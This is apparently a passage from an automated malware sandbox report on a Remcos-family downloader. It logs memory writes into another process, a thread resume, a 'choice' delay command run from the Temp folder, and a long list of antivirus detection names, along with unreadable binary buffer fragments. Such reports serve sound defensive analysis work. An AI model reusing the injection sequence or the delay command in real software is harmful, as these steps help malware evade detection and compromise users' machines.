 buffer: €ÿÿÿÿ±¿DNæ@»ÿÿÿÿ Copyright (c) by P.J. Plauger, licensed by Dinkumware, Ltd. ALL RIGHTS RESERVED.ÿÿÿÿ “    ŒÅEÈEŠÅE..€G\G\G\G\G\G\G\G\G\G„G`G`G`G`G`G`G`GˆGÿÿÿÿÈE¨G¨G¨G¨G¨GˆGËEÌEØÚEèG€GCPSTPDT°GðGÿÿÿÿÿÿÿÿÿÿÿÿ€ ¤`‚y‚!¦ß¡¥Ÿàü@~€ü¨Á£Ú£ þ@þµÁ£Ú£ þAþ¶Ï¢ä¢å¢è¢[þ@~¡þQQÚ^Ú _ÚjÚ2ÓØÞàù1~þ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ€Gþÿÿÿþÿÿÿu˜Ï!­tåša¾Œe¸‘¢z»Œ^ž âȨ3œ¶F¦<A ¶FL?A¶Fk<A”†E.?AVtype_info@@”†E.?AVbad_alloc@std@@”†E.?AVbad_array_new_length@std@@”†E.?AVlogic_error@std@@”†E.?AVlength_error@std@@”†E.?AVout_of_range@std@@”†E.?AV_Facet_base@std@@”†E.?AV_Locimp@locale@std@@”†E.?AVfacet@locale@std@@”†E.?AU_Crt_new_delete@std@@”†E.?AVcodecvt_base@std@@”†E.?AUctype_base@std@@”†E.?AV?$ctype@D@std@@”†E.?AV?$codecvt@DDU_Mbstatet@@@std@@”†E.?AVbad_exception@std@@”†E.H”†E.?AVfailure@ios_base@std@@”†E.?AVruntime_error@std@@”†E.?AVsystem_error@std@@”†E.?AVbad_cast@std@@”†E.?AV_System_error@std@@”†E.?AVexception@std@@
base_address: 0x0000000000470000
process_identifier: 2748
process_handle: 0x0000000000000220
1 1 0

WriteProcessMemory

 buffer: €
base_address: 0x0000000000476000
process_identifier: 2748
process_handle: 0x0000000000000220
1 1 0

WriteProcessMemory

 buffer: Ò*·*‡>,/F/‡>”/‡>)߇>Úáˋu‹úqÎq‹/.êêÌGtG‡>‡>|r{N//ßþ&ùõƒL˜ù˜ù°onr€°X±¡Õn5w Ĩ U|Àq0¤R¼Z b Er4NPNWN]TUZ[ äøää äö_^îØØäüûüû í9<8;ú` Ÿž†…¢†…§µ¶³´±²¯°†…¸ Ÿ†… Y
base_address: 0x0000000000477000
process_identifier: 2748
process_handle: 0x0000000000000220
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x0000000000478000
process_identifier: 2748
process_handle: 0x0000000000000220
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x000000000047d000
process_identifier: 2748
process_handle: 0x0000000000000220
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x000000007efde008
process_identifier: 2748
process_handle: 0x0000000000000220
1 1 0

NtResumeThread

 thread_handle: 0x000000000000015c
suspend_count: 1
process_identifier: 2748
1 0 0

CreateProcessInternalW

 thread_identifier: 2832
thread_handle: 0x00000084
process_identifier: 2828
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\choice.exe
track: 1
command_line: choice /C Y /N /D Y /T 1
filepath_r: C:\Windows\system32\choice.exe
stack_pivoted: 0
creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 1
process_handle: 0x00000088
1 1 0
Bkav W32.AIDetectMalware
Lionic Trojan.Win32.Remcos.4!c
Elastic malicious (high confidence)
MicroWorld-eScan Trojan.Generic.33914952
FireEye Generic.mg.f503da8eee4e7cd8
ALYac Trojan.Generic.33914952
Malwarebytes Trojan.Crypt.MSIL
Sangfor Downloader.Msil.Tiny.Vysk
K7AntiVirus Trojan-Downloader ( 0057954d1 )
Alibaba Backdoor:MSIL/Remcos.f7573bf4
K7GW Trojan-Downloader ( 0057954d1 )
CrowdStrike win/malicious_confidence_100% (W)
Arcabit Trojan.Generic.D2058048
VirIT Trojan.Win32.Genus.RCS
Cyren W32/ABRisk.PTYN-3019
Symantec Trojan Horse
ESET-NOD32 a variant of MSIL/TrojanDownloader.Tiny.AWX
APEX Malicious
Cynet Malicious (score: 100)
Kaspersky HEUR:Backdoor.MSIL.Remcos.gen
BitDefender Trojan.Generic.33914952
Avast Win32:DropperX-gen [Drp]
Tencent Msil.Backdoor.Remcos.Qqil
Emsisoft Trojan.Generic.33914952 (B)
F-Secure Trojan.TR/Dldr.Tiny.klnav
DrWeb Trojan.DownLoader45.57963
VIPRE Trojan.Generic.33914952
TrendMicro TROJ_GEN.R03BC0XFA23
McAfee-GW-Edition Artemis!Trojan
Sophos Mal/Generic-S
Ikarus Trojan-Spy.DarkCloud
Webroot W32.Trojan.Gen
Avira TR/Dldr.Tiny.klnav
Antiy-AVL Trojan[Downloader]/MSIL.Tiny
Gridinsoft Ransom.Win32.Sabsik.cl
Xcitium Malware@#1rpiufaiilzf7
Microsoft Trojan:Win32/Casdet!rfn
ZoneAlarm HEUR:Backdoor.MSIL.Remcos.gen
GData Trojan.Generic.33914952
Google Detected
AhnLab-V3 Trojan/Win.Generic.C5439219
McAfee Artemis!F503DA8EEE4E
MAX malware (ai score=84)
VBA32 TScope.Trojan.MSIL
Cylance unsafe
Panda Trj/Chgt.AD
TrendMicro-HouseCall TROJ_GEN.R03BC0XFA23
Rising Backdoor.Remcos!8.B89E (CLOUD)
SentinelOne Static AI - Malicious PE
MaxSecure Trojan.Malware.300983.susgen